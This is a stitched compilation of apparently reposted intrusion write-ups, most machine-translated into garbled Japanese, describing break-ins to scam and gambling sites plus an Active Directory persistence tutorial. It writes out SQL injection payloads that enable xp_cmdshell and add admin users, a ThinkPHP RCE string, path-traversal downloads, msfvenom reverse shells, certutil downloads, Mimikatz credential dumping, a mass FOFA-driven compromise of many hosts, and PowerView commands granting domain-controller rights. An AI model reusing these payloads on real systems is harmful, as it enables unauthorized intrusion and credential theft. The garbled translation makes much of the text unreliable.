1245-JDK8U342

FASTJSON 1.2.68

1268-readfile

1268-jkd11-writefile

1268-JDK8-WRITEFILE

1268-writefile-jsp

1268-writefile-no-network

1268-JDBC

1268別の記事を使用してファイルを書き込みます。これは、fastjson1268の書き込みファイルRCE研究と併用できます

FASTJSON 1.2.80

1280-groovy

1283-Serialize

各マシンのルートディレクトリに隠されたフラグファイルがあります。それを取得してみてください!

一部の環境はまだ与えられておらず、しばらくの間それらをリリースすることを計画しています。また、WPと提案を提出することも歓迎します。

ドック環境:https://github.com/lemono0/fastjsonparty

0x00インシデントの原因

私は3999の貯蔵前の電話手形に遭遇し、タブレットを送るようにだまされました。 Alipayは運営され、現金を払い、お金を譲渡し、私のHuabeiを奪いました。

家に帰ったとき、私は何かが間違っていると感じ、それをますます後悔しました。私はこの種の活動についてオンラインで検索し、それらの多くを捕まえましたが、それらはまったく同じでした。私がそれを見れば見るほど、私は怒りになりました。

图片

最も重要なことは、私が与えたタブレットは800元であり、これは販売前の電話代の価値がなく、実際には立ち往生していたので、私はより深く掘り下げることにしました。

0x01情報収集

検証テキストメッセージによって送信された短いドメイン名リンクをブラウザにコピーして、url xx.xxxx.xx.xxを解決します。良い男は明らかに公式のモバイル担当者の下にいません。彼はWebマスターツールを介してURLを検索して分析し、CDNを有効にせずにAlibaba Cloudに解決しました。ドメイン名ホルダーは、広東省のテクノロジー企業です。ドメイン名は今年11月に失効しました。会社を捜索した後、私は4つの大きな単語「Operation異常」が異常であることがわかりました。数千人の電話手形はとてもクールでなければなりません。

图片 图片 图片

NMAP -P 1-65355 xx.xxxx.xxを使用して取得したドメイン名をスキャンすることにより、どのサービスがオープンしているかを確認し、そのサービスから開始するサービス80と22のみがあることがわかります。

图片

ポート80へのWebサービスにアクセスした後、このインターフェイスは、テキストメッセージコンテンツの短いドメイン名からジャンプするインターフェイスでもあります。

图片

そのURLフォームは/admin/user/loginの明らかなユーザーログインインターフェイスです。誰もが知っているように、管理者は管理を意味します。直感により、レイヤーごとにディレクトリアクセスレイヤーを削減し、管理者/ログインのマーチャント管理インターフェイスになります。

图片

0x02脆弱性マイニング

現在、2つのログインインターフェイスが見つかりました。舞台裏のログインには、ブラスト操作を実行するための検証コードはありませんが、前提条件は商人の携帯電話番号を知ることです。通常、自分のユーザーにログインして、利用可能な場所があるかどうかを確認しましょう。機能は非常に単純で、利用可能な場所はありません。アバターを編集してアップロードすることはできません。このインターフェイスは、表示される電話料金の合計量のみを提供します。このようなプラットフォームを使用して、過去数か月間に消費者を怖がらせるために数字を表示するだけです。

图片

ユーザーを終了してバープを使用してパケットをキャプチャして送信されたデータを分析し、正しい携帯電話番号検証コードとSMS検証コードを入力してパケットキャプチャを有効にしますが、パラメーターはすべてプレーンテキストで送信され、検証コードはすべて正しいことがわかります。他のユーザーに置き換えた場合、普及しているレベルのレベルに到達できますか?モバイルの交換番号は、他のユーザーに正常にログインし、普及しているレベルのレベルを取得しました。

图片 图片

同じパーソナルセンターと同じ場所を使用せずに、バックグラウンドログインボックスに切り替えます。何も言わない場合は、Burpを直接使用してログインポストパッケージをキャッチできます。ローカルTXTファイルに保存し、SQLMAPで実行します。予期せぬ利益があるかもしれません。 Alibaba Cloudのサーバーがローカルで100%傍受されているため、実行するのと同じAlibaba Cloudサーバーを使用することを選択しました。ユーザー名、パスワード、およびremenbaerは注入されていません。

图片 图片

大丈夫、パッケージを手に取り、応答するデータを確認するためにパッケージを送信してください。アカウントのコンテンツが値タグに直接出力されていることがわかります。

图片

XSSペイロードを構築して、閉じてプラグインしてください! 」ScriptAlert(/xss/)/Scriptは、反射XSSを再除外します。

图片

图片

0x03 getShell

掘られた2つの抜け穴は役に立たず、アイデアは一時的に遮断されました。戻って、キャッチされたデータパケットを分析します。応答パケットにあまり注意を払っていません。私は、rememberme=deletemeという言葉は、shiroの敏deserializationの脆弱性という言葉であることを発見しました。

图片

Expに移動して、こちらのソースコードを確認し、検出についてWebサイトの静的ファイルを入力してください。

图片

コマンド実行ボックスは、脆弱性が存在するという入力可能な証拠であり、その逆の場合は入力できないことがわかります。さらに、5663.JS検証ファイルは /CSSレベルのディレクトリで生成され、アクセステストはファイルの書き込みに成功します。

图片 图片

ファイルは正常に記述され、シェルはIce Scorpion接続に書き込まれ、現在の権限を表示するためにWhaamiを実行します。 Linux環境は、権限を上げる問題を節約するために、最高の権限を直接ルートします。

图片

許可が利用可能であり、サーバーは公開キーに22のポートを開き、パスワードなしで直接ログインします。ただし、他のパーティがAlibaba Cloudのサーバーがリモートロケーションでログインしていることを考えると、ノイズが大きすぎるため、ソリューションは実装されていないというテキストメッセージのリマインダーがあります。私たちは有用な情報を掘り下げ続けました。長い間検索した後、データベース構成ファイルを見つけました。データベース接続のアドレスは172.xx.xx.xxです(マスターは非常に熟練しており、イントラネットアドレスもコードに与えられて鎮痛を防ぎます)。イントラネットのIPステーションデータベースであることを確認できます。プロキシに転送して接続する方法を見つけました。

图片

Ice Scorpionにソックスエージェントがいて、Proxifierと協力して、Navicatプレミアムデータプログラム管理をイントラネットデータベースにトンネルエージェントに追加します。プロキシファイアが構成された後、プログラムがConnectに追加されます。ただし、繰り返し試験と繰り返し接続の後、データは直接異常になり、それらのほとんどは傍受されます。

图片

イントラネットプロキシで多くのトリックを踏んでいます。要するに、私はまだ十分に経験していません。また、adminer.phpを使用するように指示を与えたマスターもいます(ここでは@Unciaのボス)。管理者は本当に良い、軽量で、便利です。 Webディレクトリをアップロードするだけです。しかし、環境では、Java環境はJSPスクリプトのみをサポートし、管理者にはPHPスクリプトのみがあります。

图片

0x04イントラネットエージェント

admenterは氷のサソリをサポートせず、プロキシできないため、プロキシトンネルを設定し、ここで多くの落とし穴に足を踏み入れて、トラフィックや切断なしでReduhとTunnaを使用しようとします。姿勢が間違っているのか、現在の環境によって制限されているのかはわかりません。最後に、GitHubでRegeorgアーティファクトを見つけました。

Regeorg

主にイントラネットサーバーのポートを使用してHTTP/HTTPSを渡すReduhのアップグレードバージョンと言えます

トンネルはローカルマシンに前進し、ターゲットサーバーのループを形成して、イントラネットまたはポートポリシーでターゲットサーバーの内部オープンポートに接続します。ウェブシェルを使用して作成します

Socksエージェントは、現在の環境がJavaであるため、イントラネットの浸透を実行します。JSP転送ファイルをWebサイトディレクトリにアップロードします。

スクリプトをアップロードしてスクリプトにアクセスした後、Georgが「すべて大丈夫だ」と言っていることを示しています。プロキシは成功しています。

图片

次に、python2 regeorgsocksproxy.py -p 9999 -u http://xx.xxxx.xx/tunnel.jspを実行します。Georgは、コマンドラインインターフェイスで「すべては問題ない」と表示されます。

图片

Proxifierを開き、基本的にローカル127.0.0.1の9999ポートを構成し、Proxyルールを設定してNAVICATプログラムを追加します。他のアクションについては、直接オフ状態を選択しますが、NAVICATトラフィックが通過できるようにします。

图片

構成が完了したら、Navicatを右クリックしてProxifierローカルプロキシモードで開きます。

图片

リンクが安定しており、Pythonウィンドウにはトラフィック送信があることがわかります(プロキシプロセス中にウィンドウを閉じないでください)。

图片

0x05真の詐欺

また、データベースを接続し、メンバーシップテーブルのアカウントを見て、メンバーシップテーブルの名前フィールドをフィルタリングして名前を見つけました。案の定、そこにデータが横たわっていた時間は、データがだまされていた時間と一致します。

图片

それを証明する方法は?とても簡単です。カレーのユーザーの最初のバッチは2019年5月からであり、1年先です。これは、19年のアカウントでアカウントにログインした詐欺であり、キャッシュバックの記録を見ることができることは明らかです。私は、権威の抜け穴を無効にする以前のレベルのレベルに基づいて、ラッキープレーヤーをランダムに彼のアカウントにログインします。

图片

これが過ぎてから1年が経ちましたが、キャッシュバックが初めてです。過去数ヶ月で、さまざまな理由であなたをだますのは消費者です。要するに、常に苦しむのは消費者です。

图片

0x06最後に書き込み

私がこの記事を書いた理由については、私も被害者であるため、このように分析して、誰もがこの局をより直感的に理解して、より多くの人々がだまされるようにしたいと思います。あなたがそれを処理するために行くとき、彼らはこれがモバイルによって承認された活動であることをあなたに伝えます(私は前に私に言った)。しかし、このようにして、モバイルとは何の関係もないことがわかります。それは彼らが独立して構築した単なるプラットフォームであり、内部のバランスはただの愚か者です。あなたを安心させるための番号を示すプラットフォームがあります。最初の月に到着した数百ドルについては、彼らはあなたのセットの数千から数百人で手動であなたを充電するだけです。

それについて話さないでください。翌年、私は汚れを食べてhuabeiを返さなければなりません。マーチャントがシステムにログインすると、おそらくもっとトリックがありますが、浸透テストがポイントするまで、私の目的はこれが詐欺かどうかを証明することです。それはしっかりしたものなので、私たちはより深く行く必要はありません。

私たちが行う安全な対立は、火薬のない戦争のようなものです。勝利または負けに加えて、戦争の結果は正義と不正の違いもあります。唯一の違いは、私たちは常に正義の観点から立ち、それに害を及ぼさずにその抜け穴の原則を探求しなければならないことです。

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247486245IDX=1SN=ebfcf540266643c0d618e5cd47396474chk SM=CE67A1BCF91028AA09435781E951926067DCF41532DACF9F6D3B522CA2DF1BE8A3C8551C1672CENE=21#WECHAT_REDIRECT

0x00序文

私たちの小さなチームは、偶然に発見されたBCサイトに浸透しました。最初から、SQLMAPのみがエコーなしで、オンラインでCSにリバウンドし、MSFと協力するプロセスに、汚れたジャガイモの権利をアップグレードするプロセス、システムの許可を取得し、浸透プロセスを共有および記録するプロセスに

0x01ログインボックスSQLインジェクション

ログインボックスについて何も言うことがないことがわかりました。最初にsqlmapシャトルを試してみてください

图片

Burp Packet CaptureLoginリクエスト、ファイルに保存して直接実行して試してみてください

Python3 sqlmap.py -r '2.txt'には、盲目およびスタックインジェクションがあります

图片

SQLMapを使用してシェルを取得できるかどうかを確認してください

python3 sqlmap.py -r '2.txt' -os -shell視覚的に失敗しました

图片

プロンプトは、XP_CMDSHELLが有効になっていないことです。以前にスキャンした後にスタックインジェクションがあったため、ストアドプロシージャを使用してXP_CMDSHELLを開きます。

Payload:

usernamame=admin '; exec sp_configure' show dibanced options '、1; reconfigure; exec sp_configure'xp_cmdshell'、1; reconfigure; await for delay '0:0:15' - password=123 delay 15秒、実行は、それぞれの声明があります。理論的には同じです)

图片

ちなみに、XP_CMDSHELLを使用してユーザーの権利を追加してペイロードを作成してみてください(パスワードを簡単に設定してはならないことに注意してください。Windowsシステムにはパスワードの強度の要件があるようですが、パスワードが簡単すぎる場合、失敗する可能性があります)

username=admin '; exec xp_cmdshell' net user cmdshellテストzjz0eruwpcxrsgg8e3hl /add '; exec master.xp_cmdshell' net localgroup管理者テスト /add '; wait for delay' 0:0:15 '-password=123nmap scan=123nmam接続

接続されていません

图片

もう一度OS-Shellを実行して、絶対パスを実行できることを見つけます。これは良い兆候です

图片

シェルを正常にポップアップしました

图片

それは盲目のメモなので、私はhoamiなどのコマンドをエコーしなかったので、CSのシェルコードを直接使用しました

图片

图片

生成されたシェルコードはOSシェルに直接貼り付けられ、車に戻ります

图片

その後、CSはオンラインになり、すぐになりました。急いで、道徳的で道徳的ではない数人の若者に電話をかけてカードをプレイするために電話してください

0x02情報収集

タスクリスト、プロセスを確認してください、Alibaba Cloud Shieldで行うのは少し難しいです

图片

SystemInfoそこにあるものを見てください

Alibaba Cloudのサーバー、Windows Server 2008 R2のバージョンには75のパッチがあります

图片

おっと、データベースの電力が削減されており、サービス許可が非常に低いと推定されています

图片

MS-16-032からEXPをアップロードしてみてください、そしてアップロードが直接失敗しました

图片

この時点で、CSの役割は非常に限られています。 CSはただの喜びであり、MSFに依存します。

0x03 FRPを使用してCSサーバーを使用してMSF攻撃をリンクします

CSでリスナーを開きます

图片

FRPの構成ファイルを変更します

图片

構成ファイルを保存した後、FRPフォルダーでFRPを開始します

./FRPC -C FRPC.INI 图片

MSFをオンにして、監視を有効にします

Exploit/Multi/Handlerset Payload Windows/Reverse_httpset lhost 127.0.0.1Set LPort 9996runを使用する

图片

CSに戻り、右クリックしてホストを選択し、セッションを追加します

图片

作成したリスナーを選択して、選択します

图片

MSFに戻ると、セッションは非常に迅速に跳ね返りました

图片

シェルに行き、見てみましょう。実際、CSのビーコンを引き継ぎましたが、まだ許可が低い

图片

0x04腐ったポテトexpをExp

にアップロードします

腐ったジャガイモをローカルで準備します(Windowsパスにさらにスラッシュを追加することに注意してください。ただし、いくつかのマシンを試した後、追加の成功率が高いことがわかりました。

upload/root/exp/juicypotato/potato.exe c: \\ users \\ public 图片

CSはターゲットマシンのファイルをめくって、それが正常にアップロードされたことを発見しました

图片

次に、ターゲットマシンのフォルダーを入力して、権利のエスカレーションの準備を開始します

CD C: \\ users \\ publicuse incognitoexecute -ch -f ./potato.exelist_tokens -uコピー管理者のトークンImpersonate_token 'Administrator' 图片

最後に、エスカレーションが成功しているかどうかを確認します

图片

0x05ミミカッツクロールパスワードハッシュ

最初に権利を上げます

GetSystem 图片

直接ダンプしてみてください

图片

いいえ、ミミカッツを使用する必要があります

ミミカッツとクロールパスワードハッシュをロードします

mimikatz_command -f samdump:3360hashes 图片

MSFに付属のモジュールを使用することもできます(これはMimikatzよりも少し遅いです)

POST/Windows/gracking/smart_hashdump 图片を実行します

次に、CMD5に投げて復号化します。パスワードが弱い場合は、アカウントのパスワードをアンインストールできます。今回は、あなたは幸運です。パスワードが弱いです。パスワードを直接アンインストールできます。その後、MSTSC.EXEはデスクトップで直接接続され、正常に起動されます。

图片

0x06情報収集は攻撃範囲を拡張します

ターゲットの最高の許可を正常に取得した後、情報収集を通じて他の同様のサイトを取得してバッチ攻撃を実行してください。

@Crow MasterはWebサイトのCMS機能を抽出し、バッチでスキャンするFOFAスクリプトを書き、最終的に1900以上のサイトを入手しました。

图片

ただし、BCステーションはしばしば場所を撮影して変更するため、これらのドメイン名のほとんどは利用できないことが多いため、ドメイン名の生存状態を再度確認する必要があります。スクリプトを使用して、最後のステップは、100を超える生存するドメイン名を取得することです。

图片

スクリプトを使用してバッチ内の脆弱なURLにアクセスする場合、生成されたリクエストを使用して、マルチスレッドスクリプトを使用してこの要求を開始するリクエストを開始するリクエストを実行します

python3 sqlmap.py -r '{0}' - dbms='microsoft sql server' - batch-s-shellは、最終的にOS-Shellをポップアップして手動で挿入するホストを取得し、最終的に多数のオンラインホストを取得します

图片

0x07舞台裏に移動して

にアクセスします

データベースにある管理者アカウントパスワードを使用して、Webサイトの背景にログインして見てみましょう

20人が800,000以上を充電しました

图片

图片

图片

「Bright Future」と呼ばれる人々のゲームアカウントもありますが、オンラインギャンブルが自分の未来を破壊していることを知りません!

图片

私は皆にギャンブルから離れることを勧めます、そして、私は閉じ込められているギャンブラーが戻ってくることを願っています!

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzi3nja4mjmymw==mid=2647772541Idx=1SN=646E732C96521E0D4D9D109426C4DC4DCHK SM=F35F9681C4281F97B4C46CD95F858DC90481706A6DB607FCFD6596A15745CA10C88BA83E0E9FSCENE=21#wechat_redirect

私は誤ってThinkPhpのほうれん草のサイトを発見しました。最近TPに抜け穴はありませんでしたか?

それから私はそれをさりげなくテストしましたが、プロセスはそれほどスムーズではありませんでしたが、ついに勝ちましたので、私は自分のアイデアを共有するためにこの記事を投稿しました。

0x00ワンクリックゲッシェル

短い見方の後、多くの人がプレイするはずですよね?

1049983-20240105093324133-383409570.png数日前、私はテストツールを書き、最初にテストするためにそれを取り出しました。

このツールは脆弱性を示しています

1049983-20240105093335090-2095780538.pngワンクリックゲッシェル、非常に滑らかに見えます、ハハ。

1049983-20240105093335989-559902528.pngしかし. Xiao Mingは髪を振って、物事が単純ではないことを発見しました。

1049983-20240105093336787-674964719.png包丁が接続されている場合、500のエラーが返されます。

1049983-20240105093337570-1853999192.png FirefoxのHackbarを使用して確認しました。それには何の問題もないので、なぜ包丁をつなげることができないのですか?

ケチな人として、私は深い考えに陥らざるを得ませんでした.

1049983-20240105093338367-558319976.png

0x01開始分析

私はこのツールを自分で書いたので、上記の写真から3番目の経験が呼ばれていることを発見したので、それを分析して見てみましょう。

次のようにPOC

/?s=index/\ think \ app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1] []=dir

POCの後にWhoamiを入力して、権限を確認しましょう。

/?s=index/\ think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=systemvars [1] []=whoami

IIS許可

ただし、Echo Dirなど、一部のコマンドを実行できます。

1049983-20240105093339418-1872353037.png

0x02シェルを突破してみてください

エコーを実行できるので、ポニーを書くことができます。それが成功した場合、私たちはポニーを使用してポニーをアップロードしてそれを行い、それを言うとすぐにそれを行います。大変な作業が来たら、列に並んで書かなければなりません。

注:コードのシンボルは^^で逃げる必要があります。たとえば、PHPは^^?phpに逃げました

1049983-20240105093340495-1537021683.png行ごとの執筆が完了した後、アクセスするときに正常に実行できないことがわかりました。ここでスクリーンショットを撮るのを忘れました。

次に、次の方法を使用してファイルをサーバーにダウンロードしようとしましたが、失敗しました。

1049983-20240105093351352-1328543067.png私があきらめようとしていたとき、私はまだ役に立たないダウンロードコマンドがあったことを思い出しました。

それはcertutil.exeです

それを行うだけで、マレーシアをサーバーに置き、HFSを有効にしてください。

次に、次のコマンドを実行します。

1049983-20240105093352245-99523761.pngはマレーシアに成功しましたが、あまりにも早く幸せにならないでください。

1049983-20240105093353277-1543002363.png Xiao Mingは再び髪を振って、物事がさらに難しいことを発見しました.

1049983-20240105093354070-918181612.pngマレーシアはファイルのアップロードを操作して名前を変更するなどしますが、ファイルを編集できず、ファイルソースコードなどを表示できません。クリックして空白スペースを表示します。

1049983-20240105093354903-784253893.pngそうなので、データベースに行き、見てみましょう。

TPのデータベース構成ファイルが次の場所にあることは誰もが知っています

/application/database.php

マレーシアを開くことができないため、TPコマンドを使用して脆弱性を実行し、Typeコマンドを使用してこのファイルを読み取ることができます。

/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]

読み取りの試みは失敗し、コピーコマンドが頭に浮かぶようになりました。

database.phpをWebルートディレクトリにコピーし、名前を1.txtに変更します

/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]]

コピーした後、URL/1.TXTにアクセスして、それが空であることがわかります。

0x03成功したブレークスルー

一連の障害を経験した後、私は落ち着いて考えました。また、File_Pathを使用してソースコードを読み取ることもできます。

1049983-20240105093405723-1104995441.png DAMAを使用して、このファイルをルートディレクトリにアップロードしてからアクセスし、データベース構成情報を正常に取得します。

1049983-20240105093407641-1694905724.png次に、構成情報を入力してデータベースを入力します。

1049983-20240105093408996-20299154.png 1049983-20240105093415084-497983513.pngこの記事が書かれた夜遅くすでにありました。私はテーブルの上でインスタント麺の半分を食べたインスタント麺を見て、最後に2杯のスープを飲み、電話をオフにして寝ました.

元のリンクから転載:https://www.jiansshu.com/p/1f9b02780f1c

情報収集は仕事を始めようとしています。誰かが個人的にチャットし、彼とたくさんのお金を稼ぐように頼みました。

记一次菠菜论坛的渗透测试经历 记一次菠菜论坛的渗透测试经历グループメッセージを送信しても大丈夫ですが、誰もが個人的にチャットを始めました。今、犯罪者は非常にramp延しているので、彼らは甘やかされることができます。 JDカードを最初に置き、フロントデスクをギャンブルフォーラムにしましょう。

记一次菠菜论坛的渗透测试经历ランダムログイン、背景が発表され、WebサイトはPHPからのもので、共通のパスワードを数回試しました。管理者が存在し、パスワードが間違っています。

记一次菠菜论坛的渗透测试经历 记一次菠菜论坛的渗透测试经历 记一次菠菜论坛的渗透测试经历 Yunxiに置いて見てみましょう。

记一次菠菜论坛的渗透测试经历 记一次菠菜论坛的渗透测试经历ドメイン名にアクセスするのは非常に硬いです。

记一次菠菜论坛的渗透测试经历もう一度ポートを見てみましょう。 3306が開いており、ホストはWindowsからのものです。

记一次菠菜论坛的渗透测试经历コレクションが完了した後、フレームワークはスキャンされず、ほとんど進歩はありませんでした。唯一のブレークスルーポイントは、背景とポートでした。

记一次菠菜论坛的渗透测试经历バックグラウンドにログインする3306メンタリティで試してみてください。予想外のことは何も起こりません。

记一次菠菜论坛的渗透测试经历 记一次菠菜论坛的渗透测试经历 Top100バックエンドブラストは、出てきたが失敗しました。あまり希望がありません。 JSを探していると、パスワード、敏感なパス、特別なインターフェイスなどがあるかもしれませんが、それは本当にきれいです、多分私はそれを注意深く見ないでしょう。

他のブレークスルーポイントはなかったので、舞台裏でしか試していませんでした。私は大きな辞書を取り、長い間走りました。最後に、私はついに鉄の頭の赤ちゃんが生きていることを理解しました。使用される辞書は、略語、年、特殊文字です。

记一次菠菜论坛的渗透测试经历バックエンドフォーラムの記事管理事務所をアップロードして、編集者と彼の目がすぐに照らされました。

记一次菠菜论坛的渗透测试经历単一および複数の写真をアップロードしてみることができます。

记一次菠菜论坛的渗透测试经历ひび割れ、ホワイトリストの制限。

记一次菠菜论坛的渗透测试经历さまざまな切り捨てとバイパスが失敗しました。

记一次菠菜论坛的渗透测试经历エディターを確認し、JSファイルを検索し、Wangeditorエディターであることを確認してください。

记一次菠菜论坛的渗透测试经历オンラインで検索したところ、この編集者には抜け穴がないように思われ、私のアイデアが行われていることがわかりました〜

记一次菠菜论坛的渗透测试经历ターニングポイントが表示され、検索を続けます。注文の詳細が見つかった場合は、注文画像をダウンロードすることもできます。

ダウンロードリンク:

http://www.xxx.com/download.php?filepath=././/wwwroot/php/upload/20191115/1605370100637841.jpg

记一次菠菜论坛的渗透测试经历ダウンロードリンクからWebサイトは取得されます。 wwwrootはWebサイトのルートディレクトリであると推測されます。ファイルのダウンロードはありますか?

リンクを作成してみてください:

http://www.xxx.com/download.php?filepath=.//././wwwroot/news.php

记一次菠菜论坛的渗透测试经历 记一次菠菜论坛的渗透测试经历Nice、Hu Hansanがついに引き渡そうとしています。

记一次菠菜论坛的渗透测试经历コンフィギュレーションファイルを引き続き探し続けます。通常、index.phpはデータベース構成ファイルを導入します。

http://www.xxx.com/download.php?filepath=./././wwwroot/index.php

记一次菠菜论坛的渗透测试经历 config.phpを構築および表示するために。

http://www.xxx.com/download.php?filepath=././wwwroot/config.php

记一次菠菜论坛的渗透测试经历アカウントを取得して接続しようとします。許可がないか、失敗に終わることを促します。ファイアウォールがあるか、データベースのホスト値がローカルでのみアクセスするように設定されていると推測されます。

方法はありません。ひっくり返し続けて、Apache構成ファイルを読み取ろうとします。

http://www.xxx.com/download.php?filepath=././././apache/conf/httpd.conf

记一次菠菜论坛的渗透测试经历 Wang Tefa! HTMLファイルはPHPファイルとして実行できます。戻ってファイルをアップロードして、接尾辞を変更してアップロードします。両方のアップロードポイントは〜のアップロードに失敗しました

メンバー管理にアバターをアップロードする場所を検索し続け、見つけます。

记一次菠菜论坛的渗透测试经历ファイル名のアップロード、応答、アップロードパスへの返却を変更します。

记一次菠菜论坛的渗透测试经历リンクのダウンロードを作成し、ファイルのダウンロードが成功し、存在することが証明されています。

http://www.xxx.com/download.php?filepath=././/wwwroot/php/upload/20201115/1805872100098841.html

记一次菠菜论坛的渗透测试经历スプライシングアクセス、正常に解析されます。

http://www.xxx.com/php/upload/2020xxxx/1805872100098841.html

记一次菠菜论坛的渗透测试经历興奮し、震えている手、成功。

记一次菠菜论坛的渗透测试经历SUHAは、権利の引き上げを試み、パッチのステータスを確認しました。多くのアップデートがありましたが、ネットを逃した魚が常にいました。

记一次菠菜论坛的渗透测试经历ツールを使用し、パッチなしで直接検索、Exp攻撃、電源が正常にアップグレードされ、管理者の許可が得られます。

记一次菠菜论坛的渗透测试经历は、シェルをリバウンドし続けています。結局のところ、端子を使用するのは不快なので、MSFを使用してここでシェルをリバウンドします。

1.最初に、MSFを使用してTrojanファイルをローカルに生成し、ペイロードを指定します。

msfvenom -p Windows/x64/meterpreter_reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f exe -o achess.exe

记一次菠菜论坛的渗透测试经历ほうれん草フォーラムの浸透テストエクスペリエンスを記録します。2。ポート8000でPythonサーバーをローカルに開きます。

python -m http.server 8000

记一次菠菜论坛的渗透测试经历ほうれん草フォーラムの浸透テストエクスペリエンスを記録します。

记一次菠菜论坛的渗透测试经历端子ターゲットマシンのexeファイルをダウンロードします。

ECHO OPEN SERVER IP:8000EXEファイル。

记一次菠菜论坛的渗透测试经历ほうれん草フォーラムの浸透テストエクスペリエンスを記録します。

Handler -P Windows/MeterPreter_Reverse_TCP -H IP -P 4444

记一次菠菜论坛的渗透测试经历5。 exeファイルを実行し、シェルを正常に受信します。

记一次菠菜论坛的渗透测试经历セッションを取得したときに軽視しないでください。 MSFにはMimikatzモジュールが付属しています。 MSFのMimikatzモジュールは、32ビットシステムと64ビットシステムの両方をサポートしていますが、このモジュールはデフォルトで32ビットシステムをロードします。したがって、ターゲットホストが64ビットシステムである場合、モジュールを直接ロードすると、多くの機能が使用できなくなります。したがって、64ビットシステムでは、まずシステムプロセスリストを表示し、次にMeterPreterプロセスを64ビットプログラムプロセスに移行してMimikatzをロードし、システムのプレーンテキストを表示する必要があります。これにより、セッションが中断されないようになります。

PSプロセスを確認し、移行の安定したプロセスを見つけます。

PID数を移行します

记一次菠菜论坛的渗透测试经历 MeterPreterプロセスを408プロセスに移行します:移行408

记一次菠菜论坛的渗透测试经历が正常に移行され、すべてがそこにありましたが、パスワードはありませんでした。また、MSFのMimikatzモジュールを使用して、パスワードを取得します。

最初にMimikatzモジュールをロードします。

记一次菠菜论坛的渗透测试经历 Mimikatz_Commandモジュールの使用は、ここにリストされています:

meterpreter mimikatz_command -f a:誤ったモジュールを入力して、すべてのモジュールをリストする

MeterPreter mimikatz_command -f samdump:は、samdumpサブコマンドをリストできます

meterpreter mimikatz_command -f samdump:hases

MeterPreter mimikatz_command -f handle:Listリストアプリケーションプロセス

MeterPreter mimikatz_command -f service:Listリストサービス

MeterPreter mimikatz_command -f sekurlsa:searchpasswords

MeterPreter Run Run Post/Windows/Gracking/Smart_Hashdumpハッシュを取得します

2つの関数:があるSamdumpモジュールを選択します

? mimikatz_command -f samdump:3360hases

? mimikatz_command -f samdump:3360bootkey

记一次菠菜论坛的渗透测试经历しかし、これにより、パスワードのハッシュ値がキャッチされます。 Plantextパスワードを直接表示し、Sekurlsaモジュールの下のSearchPassWords関数を使用し、次のコマンドを実行し、パスワードを正常にクロールします。

mimikatz_command -f sekurlsa:searchpasswords

记一次菠菜论坛的渗透测试经历最後の3389接続が成功し、作業が完了しました。

记一次菠菜论坛的渗透测试经历は、鉄の頭の子供であることが良いことを証明してください。

要約します

Yunxi、FOFA、さまざまなプラグイン、サブドメイン名、ポート情報収集、このサイトに入るための背景を爆破する(良い辞書を持つことは非常に重要です)、エディターのアップロードファイルが失敗したことを見つけることが非常に重要です)、ホワイトリストの制限、エディター名を見つける、編集者の脆弱性を照会することは、ファイルのダウンロードを見つけることができます。許可、Apache構成ファイルの検索、ファイルの接尾辞を見つけることができ、他のアップロードポイントを見つけることができ、許可を得た後、MSFのMimikatzモジュールを使用してログインパスワードを取得し、リモートデスクトップ接続が成功し、侵入が終了します。

元のリンクから転載:https://cloud.tencent.com/developer/article/1790943

0x00 前言

机器帐户被许多技术用于权限提升和横向移动,但也有通过机器帐户建立域权限持久性的情况。这涉及将任意机器帐户添加到特权组(例如域管理员组)或修改机器帐户的 userAccountControl 属性中,使其转换为域控制器。在这两种情况下,攻击者都可以通过机器帐户进行身份验证并执行特权操作,例如通过 DCSync 导出所有域哈希等。

@Sean Metcalf 是第一个公开披露如何通过将机器帐户添加到高权限组来将机器帐户用作域持久性后门的人,此方法与向域管理员组添加标准用户帐户相同。2020 年, @Stealthbits 发布了一篇名为《SERVER (UN)TRUST ACCOUNT》的文章,展示了另一种持久性技术,其中涉及如何从机器帐户进行 Active Directory 复制。尽管通过 DCSync 技术转储密码哈希并不新鲜,并且相关操作可能会触发适当的警报,但使用机器帐户执行相同的技术能够达到更隐蔽的目的。

0x01  userAccountControl基础知识

在活动目录中,userAccountControl 是每一个账户的必备属性,该属性是一个位字段,不同的标志位代表不同的用户信息,该属性的值为所有标志位值的和。

juspjjzssr415510.png

下图是微软官方文档中给出的可能标志位,以及其十六进制和十进制值,详情请参考:Use the UserAccountControl flags to manipulate user account properties。

mhwcps02h1315512.png

userAccountControl 中有一个名为 SERVER_TRUST_ACCOUNT 的标志位,其十六进制值为 0x2000,十进制值为 8192,用来表示该账户是域控制器的机器帐户。当机器账户的 userAccountControl 属性设置了 SERVER_TRUST_ACCOUNT 标志位后,Active Directory 必须将该账户的 primaryGroupId 属性设置为域控制器组的 RID。因此,只需更改 userAccountControl 的标志位即可为普通域成员机器授予域控制器的特权。

0x02  实验测试一

在实战中,攻击者可以通过滥用 userAccountControl 属性,将普通域内机器的身份变为域控制器,并配合 DCSync 技术实现域持久化。具体做法比较简单,就是将机器账户的 userAccountControl 属性值设置为 8192。

(1)在域控制器上执行以下命令,通过 Powermad 在域内创建一个名为 PENTEST$ 的机器账户,账户密码设为 Passw0rd

Import-Module .\Powermad.ps1
# 设置机器账户的密码
$Password = ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force
# 通过 New-MachineAccount 函数创建一个机器账户
New-MachineAccount -MachineAccount "PENTEST" -Password $($Password) -Domain "pentest.com" -DomainController "DC01.pentest.com" -Verbose

phom133gj2m15515.png

(2)执行以下命令,通过 PowerView.ps1 查询新添加的机器账户 PENTEST$。可以看到,账户 PENTEST$ 的主要组 ID(primaryGroupId)为 515,这是 Domian Computers 组的 RID,说明 PENTEST$ 此时还是一台普通域成员机器,如下图所示。

Import-Module .\PowerView.ps1
Get-NetComputer -Identity "PENTEST" -Properties name, primaryGroupID, userAccountControl

vycu4kmwhaa15517.png

(3)执行以下命令,通过 PowerView.ps1 将 PENTEST$ 账户的 userAccountControl 属性值设为 8192,这将更改账户的主要组 ID 为 516,如图下所示。此时,PENTEST$ 账户的主要组被改为了 Domain Controllers,也就是域控制器组。

Import-Module .\PowerView.ps1
Set-DomainObject -Identity "PENTEST$" -Set @{"userAccountControl" = 8192} -Verbose

1uzyn5s0ig215520.png

